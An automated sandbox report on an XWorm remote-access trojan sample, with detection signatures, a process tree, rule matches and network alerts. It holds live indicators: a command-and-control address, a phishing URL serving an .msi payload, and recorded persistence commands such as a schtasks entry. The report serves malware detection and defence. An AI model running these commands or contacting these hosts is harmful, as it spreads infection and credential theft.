Edit tour

Windows Analysis Report
H3Ze9Uj.exe

Overview

General Information

Sample name:	H3Ze9Uj.exe
Analysis ID:	1615912
MD5:	0252e4b7d794b447f2625a8edd396fa3
SHA1:	b242300432ff9aa87c152cb89d3b103177044f97
SHA256:	a6805d2d8acf695a6831f5b310520902ec988d7116dadb424af7667c4e648f81
Tags:	exeSocks5Systemzuser-aachum
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected XWorm

.NET source code contains potential unpacker

.NET source code contains very large strings

Drops PE files to the startup folder

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Found strings related to Crypto-Mining

Joe Sandbox ML detected suspicious sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for available system drives (often done to infect USB drives)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Use Short Name Path in Command Line

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

H3Ze9Uj.exe (PID: 7448 cmdline: "C:\Users\user\Desktop\H3Ze9Uj.exe" MD5: 0252E4B7D794B447F2625A8EDD396FA3)

H3Ze9Uj.exe (PID: 7512 cmdline: "C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe" -burn.clean.room="C:\Users\user\Desktop\H3Ze9Uj.exe" -burn.filehandle.attached=516 -burn.filehandle.self=524 MD5: BF6008785C06CBEA998555A713DC191D)

TiVoServer.exe (PID: 7536 cmdline: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe MD5: 1600D4E66F814372153668378D38AB1E)

TiVoServer.exe (PID: 7588 cmdline: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe MD5: 1600D4E66F814372153668378D38AB1E)

cmd.exe (PID: 7604 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Toolpatch_dbg.exe (PID: 8028 cmdline: C:\Users\user~1\AppData\Local\Temp\Toolpatch_dbg.exe MD5: 967F4470627F823F4D7981E511C9824F)

msiexec.exe (PID: 3804 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user~1\AppData\Local\Temp\lfUvtjimgsGKBWR49nUj0fLf3ZU.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msedge.exe (PID: 7076 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7484 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=2136,i,4651123646714982259,14821907297481280716,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

TiVoServer.exe (PID: 8048 cmdline: "C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe" MD5: 1600D4E66F814372153668378D38AB1E)

cmd.exe (PID: 8068 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Toolpatch_dbg.exe (PID: 7468 cmdline: C:\Users\user~1\AppData\Local\Temp\Toolpatch_dbg.exe MD5: 967F4470627F823F4D7981E511C9824F)

msiexec.exe (PID: 2644 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user~1\AppData\Local\Temp\lfUvtjimgsGKBWR49nUj0fLf3ZU.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 7164 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

TiVoServer.exe (PID: 6424 cmdline: "C:\Users\user\AppData\Local\Sprit\TiVoServer.exe" MD5: 1600D4E66F814372153668378D38AB1E)

TiVoServer.exe (PID: 7196 cmdline: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe MD5: 1600D4E66F814372153668378D38AB1E)

cmd.exe (PID: 6516 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 1580 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

schtasks.exe (PID: 6048 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MSBuild" /tr "C:\Users\user\AppData\Roaming\MSBuild.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

TiVoServer.exe (PID: 7480 cmdline: "C:\Users\user\AppData\Local\Sprit\TiVoServer.exe" MD5: 1600D4E66F814372153668378D38AB1E)

TiVoServer.exe (PID: 6172 cmdline: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe MD5: 1600D4E66F814372153668378D38AB1E)

cmd.exe (PID: 5872 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 1472 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

msedge.exe (PID: 1056 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3132 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2496,i,4521931903728861667,7688724464100039987,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7068 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6960 --field-trial-handle=2496,i,4521931903728861667,7688724464100039987,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6044 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6984 --field-trial-handle=2496,i,4521931903728861667,7688724464100039987,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2884 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=2256 --field-trial-handle=2496,i,4521931903728861667,7688724464100039987,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

MSBuild.exe (PID: 2676 cmdline: C:\Users\user\AppData\Roaming\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

conhost.exe (PID: 4656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 2852 cmdline: "C:\Users\user\AppData\Roaming\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

conhost.exe (PID: 5432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 7620 cmdline: C:\Users\user\AppData\Roaming\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

conhost.exe (PID: 744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 7476 cmdline: "C:\Users\user\AppData\Roaming\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

conhost.exe (PID: 1876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 6832 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

conhost.exe (PID: 420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\pntqvbaqhxho	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\pntqvbaqhxho	rat_win_xworm_v2	Finds XWorm v2 samples based on characteristic strings	Sekoia.io	0x771f:$str02: ngrok 0x1676f:$str02: ngrok 0x167c9:$str02: ngrok 0x7405:$str03: Mutexx 0x1692b:$str04: FileManagerSplitFileManagerSplit 0x16795:$str05: InstallngC 0x16301:$str06: downloadedfile 0x161f9:$str11: txtttt 0x17187:$str12: \root\SecurityCenter2 0x169b1:$str13: [USB] 0x16997:$str14: [Drive] 0x16919:$str15: [Folder] 0x171b3:$str19: Select * from AntivirusProduct 0x15e0d:$str21: RunBotKiller
C:\Users\user\AppData\Roaming\Servicewriter\Rtl60.bpl	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\yiefm	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\yiefm	rat_win_xworm_v2	Finds XWorm v2 samples based on characteristic strings	Sekoia.io	0x771f:$str02: ngrok 0x1676f:$str02: ngrok 0x167c9:$str02: ngrok 0x7405:$str03: Mutexx 0x1692b:$str04: FileManagerSplitFileManagerSplit 0x16795:$str05: InstallngC 0x16301:$str06: downloadedfile 0x161f9:$str11: txtttt 0x17187:$str12: \root\SecurityCenter2 0x169b1:$str13: [USB] 0x16997:$str14: [Drive] 0x16919:$str15: [Folder] 0x171b3:$str19: Select * from AntivirusProduct 0x15e0d:$str21: RunBotKiller
C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\Rtl60.bpl	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Sprit\Rtl60.bpl	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Roaming\Patchsystemv3\Rtl60.bpl	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author
00000029.00000002.2407386155.00000000052A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000013.00000002.2127492102.0000000005710000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000022.00000002.2602866052.0000000002A56000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000003.00000002.1391972101.0000000040001000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000032.00000002.2414562408.0000000000952000.00000002.00000001.01000000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.cmd.exe.57100c8.7.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
19.2.cmd.exe.57100c8.7.raw.unpack	rat_win_xworm_v2	Finds XWorm v2 samples based on characteristic strings	Sekoia.io	0x771f:$str02: ngrok 0x1676f:$str02: ngrok 0x167c9:$str02: ngrok 0x7405:$str03: Mutexx 0x1692b:$str04: FileManagerSplitFileManagerSplit 0x16795:$str05: InstallngC 0x16301:$str06: downloadedfile 0x161f9:$str11: txtttt 0x17187:$str12: \root\SecurityCenter2 0x169b1:$str13: [USB] 0x16997:$str14: [Drive] 0x16919:$str15: [Folder] 0x171b3:$str19: Select * from AntivirusProduct 0x15e0d:$str21: RunBotKiller
41.2.cmd.exe.52a00c8.7.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
41.2.cmd.exe.52a00c8.7.raw.unpack	rat_win_xworm_v2	Finds XWorm v2 samples based on characteristic strings	Sekoia.io	0x771f:$str02: ngrok 0x1676f:$str02: ngrok 0x167c9:$str02: ngrok 0x7405:$str03: Mutexx 0x1692b:$str04: FileManagerSplitFileManagerSplit 0x16795:$str05: InstallngC 0x16301:$str06: downloadedfile 0x161f9:$str11: txtttt 0x17187:$str12: \root\SecurityCenter2 0x169b1:$str13: [USB] 0x16997:$str14: [Drive] 0x16919:$str15: [Folder] 0x171b3:$str19: Select * from AntivirusProduct 0x15e0d:$str21: RunBotKiller
19.2.cmd.exe.57100c8.7.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
19.2.cmd.exe.57100c8.7.unpack	rat_win_xworm_v2	Finds XWorm v2 samples based on characteristic strings	Sekoia.io	0x591f:$str02: ngrok 0x1496f:$str02: ngrok 0x149c9:$str02: ngrok 0x5605:$str03: Mutexx 0x14b2b:$str04: FileManagerSplitFileManagerSplit 0x14995:$str05: InstallngC 0x14501:$str06: downloadedfile 0x143f9:$str11: txtttt 0x15387:$str12: \root\SecurityCenter2 0x14bb1:$str13: [USB] 0x14b97:$str14: [Drive] 0x14b19:$str15: [Folder] 0x153b3:$str19: Select * from AntivirusProduct 0x1400d:$str21: RunBotKiller
3.2.TiVoServer.exe.40000000.13.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
41.2.cmd.exe.52a00c8.7.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
41.2.cmd.exe.52a00c8.7.unpack	rat_win_xworm_v2	Finds XWorm v2 samples based on characteristic strings	Sekoia.io	0x591f:$str02: ngrok 0x1496f:$str02: ngrok 0x149c9:$str02: ngrok 0x5605:$str03: Mutexx 0x14b2b:$str04: FileManagerSplitFileManagerSplit 0x14995:$str05: InstallngC 0x14501:$str06: downloadedfile 0x143f9:$str11: txtttt 0x15387:$str12: \root\SecurityCenter2 0x14bb1:$str13: [USB] 0x14b97:$str14: [Drive] 0x14b19:$str15: [Folder] 0x153b3:$str19: Select * from AntivirusProduct 0x1400d:$str21: RunBotKiller
50.2.MSBuild.exe.950000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
50.2.MSBuild.exe.950000.0.unpack	rat_win_xworm_v2	Finds XWorm v2 samples based on characteristic strings	Sekoia.io	0x771f:$str02: ngrok 0x1676f:$str02: ngrok 0x167c9:$str02: ngrok 0x7405:$str03: Mutexx 0x1692b:$str04: FileManagerSplitFileManagerSplit 0x16795:$str05: InstallngC 0x16301:$str06: downloadedfile 0x161f9:$str11: txtttt 0x17187:$str12: \root\SecurityCenter2 0x169b1:$str13: [USB] 0x16997:$str14: [Drive] 0x16919:$str15: [Folder] 0x171b3:$str19: Select * from AntivirusProduct 0x15e0d:$str21: RunBotKiller
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\MSBuild.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ProcessId: 1580, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSBuild

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ProcessId: 1580, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MSBuild" /tr "C:\Users\user\AppData\Roaming\MSBuild.exe", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MSBuild" /tr "C:\Users\user\AppData\Roaming\MSBuild.exe", CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ParentProcessId: 1580, ParentProcessName: MSBuild.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MSBuild" /tr "C:\Users\user\AppData\Roaming\MSBuild.exe", ProcessId: 6048, ProcessName: schtasks.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\Users\user~1\AppData\Local\Temp\Toolpatch_dbg.exe, CommandLine: C:\Users\user~1\AppData\Local\Temp\Toolpatch_dbg.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe, ParentCommandLine: C:\Windows\SysWOW64\cmd.exe, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7604, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user~1\AppData\Local\Temp\Toolpatch_dbg.exe, ProcessId: 8028, ProcessName: Toolpatch_dbg.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T17:39:14.213932+0100	2028371	3	Unknown Traffic	192.168.2.7	49962	104.21.64.1	443	TCP
2025-02-15T17:39:15.404295+0100	2028371	3	Unknown Traffic	192.168.2.7	49969	104.21.64.1	443	TCP
2025-02-15T17:39:16.242344+0100	2028371	3	Unknown Traffic	192.168.2.7	49976	104.21.64.1	443	TCP
2025-02-15T17:39:16.243670+0100	2028371	3	Unknown Traffic	192.168.2.7	49977	104.21.1.182	443	TCP
2025-02-15T17:39:42.891727+0100	2028371	3	Unknown Traffic	192.168.2.7	50081	104.21.64.1	443	TCP
2025-02-15T17:39:44.146021+0100	2028371	3	Unknown Traffic	192.168.2.7	50083	104.21.64.1	443	TCP
2025-02-15T17:39:45.055998+0100	2028371	3	Unknown Traffic	192.168.2.7	50084	104.21.1.182	443	TCP
2025-02-15T17:40:00.317220+0100	2028371	3	Unknown Traffic	192.168.2.7	50094	104.21.64.1	443	TCP
2025-02-15T17:40:01.707296+0100	2028371	3	Unknown Traffic	192.168.2.7	50095	104.21.64.1	443	TCP
2025-02-15T17:40:02.631560+0100	2028371	3	Unknown Traffic	192.168.2.7	50096	104.21.64.1	443	TCP
2025-02-15T17:40:03.655135+0100	2028371	3	Unknown Traffic	192.168.2.7	50097	104.21.64.1	443	TCP
2025-02-15T17:40:04.956797+0100	2028371	3	Unknown Traffic	192.168.2.7	50098	104.21.64.1	443	TCP
2025-02-15T17:40:06.476250+0100	2028371	3	Unknown Traffic	192.168.2.7	50099	104.21.64.1	443	TCP
2025-02-15T17:40:07.957781+0100	2028371	3	Unknown Traffic	192.168.2.7	50100	104.21.64.1	443	TCP
2025-02-15T17:40:20.648893+0100	2028371	3	Unknown Traffic	192.168.2.7	50101	104.21.64.1	443	TCP
2025-02-15T17:40:22.626703+0100	2028371	3	Unknown Traffic	192.168.2.7	50102	104.21.64.1	443	TCP
2025-02-15T17:40:23.509498+0100	2028371	3	Unknown Traffic	192.168.2.7	50103	104.21.64.1	443	TCP
2025-02-15T17:40:24.453914+0100	2028371	3	Unknown Traffic	192.168.2.7	50104	104.21.64.1	443	TCP
2025-02-15T17:40:25.942643+0100	2028371	3	Unknown Traffic	192.168.2.7	50105	104.21.64.1	443	TCP
2025-02-15T17:40:27.479579+0100	2028371	3	Unknown Traffic	192.168.2.7	50107	104.21.64.1	443	TCP
2025-02-15T17:40:28.451486+0100	2028371	3	Unknown Traffic	192.168.2.7	50108	104.21.64.1	443	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T17:40:02.312198+0100	2852870	1	Malware Command and Control Activity Detected	185.95.159.238	7000	192.168.2.7	50093	TCP
2025-02-15T17:40:32.297013+0100	2852870	1	Malware Command and Control Activity Detected	185.95.159.238	7000	192.168.2.7	50093	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T17:40:09.326632+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	50093	185.95.159.238	7000	TCP
2025-02-15T17:40:20.752637+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	50093	185.95.159.238	7000	TCP
2025-02-15T17:40:32.170347+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	50093	185.95.159.238	7000	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T17:40:02.312198+0100	2852874	1	Malware Command and Control Activity Detected	185.95.159.238	7000	192.168.2.7	50093	TCP
2025-02-15T17:40:32.297013+0100	2852874	1	Malware Command and Control Activity Detected	185.95.159.238	7000	192.168.2.7	50093	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T17:40:09.326632+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.7	50093	185.95.159.238	7000	TCP
2025-02-15T17:40:20.752637+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.7	50093	185.95.159.238	7000	TCP
2025-02-15T17:40:32.170347+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.7	50093	185.95.159.238	7000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cia.tf/521d636a01093f9235cfbf0b2bfd5f69.msi

Avira URL Cloud: Label: phishing

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D3A0BB DecryptFileW,	0_2_00D3A0BB
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D5FA62 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,ReadFile,GetLastError,CryptDestroyHash,CryptReleaseContext,GetLastError,CryptGetHashParam,GetLastError,SetFilePointerEx,GetLastError,	0_2_00D5FA62
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D39E9E DecryptFileW,DecryptFileW,	0_2_00D39E9E
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D5A0BB DecryptFileW,	2_2_00D5A0BB
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D7FA62 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,ReadFile,GetLastError,CryptDestroyHash,CryptReleaseContext,GetLastError,CryptGetHashParam,GetLastError,SetFilePointerEx,GetLastError,	2_2_00D7FA62
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D59E9E DecryptFileW,DecryptFileW,	2_2_00D59E9E
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00AD83E0 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,	3_2_00AD83E0
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00AD9300 CryptDecrypt,GetLastError,__CxxThrowException@8,	3_2_00AD9300
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00AD34B0 CryptGetKeyParam,	3_2_00AD34B0
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00AD8440 CryptAcquireContextW,GetLastError,__CxxThrowException@8,CryptCreateHash,GetLastError,__CxxThrowException@8,CryptHashData,GetLastError,__CxxThrowException@8,CryptDeriveKey,GetLastError,__CxxThrowException@8,CryptGetKeyParam,CryptGetKeyParam,GetLastError,__CxxThrowException@8,__CxxThrowException@8,CryptGetKeyParam,GetLastError,__CxxThrowException@8,__CxxThrowException@8,CryptGetKeyParam,GetLastError,__CxxThrowException@8,__CxxThrowException@8,CryptGetKeyParam,GetLastError,__CxxThrowException@8,__CxxThrowException@8,	3_2_00AD8440
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00AD3990 CryptGetKeyParam,std::_Mutex::_Mutex,std::locale::_Init,std::_Lockit::_Lockit,	3_2_00AD3990
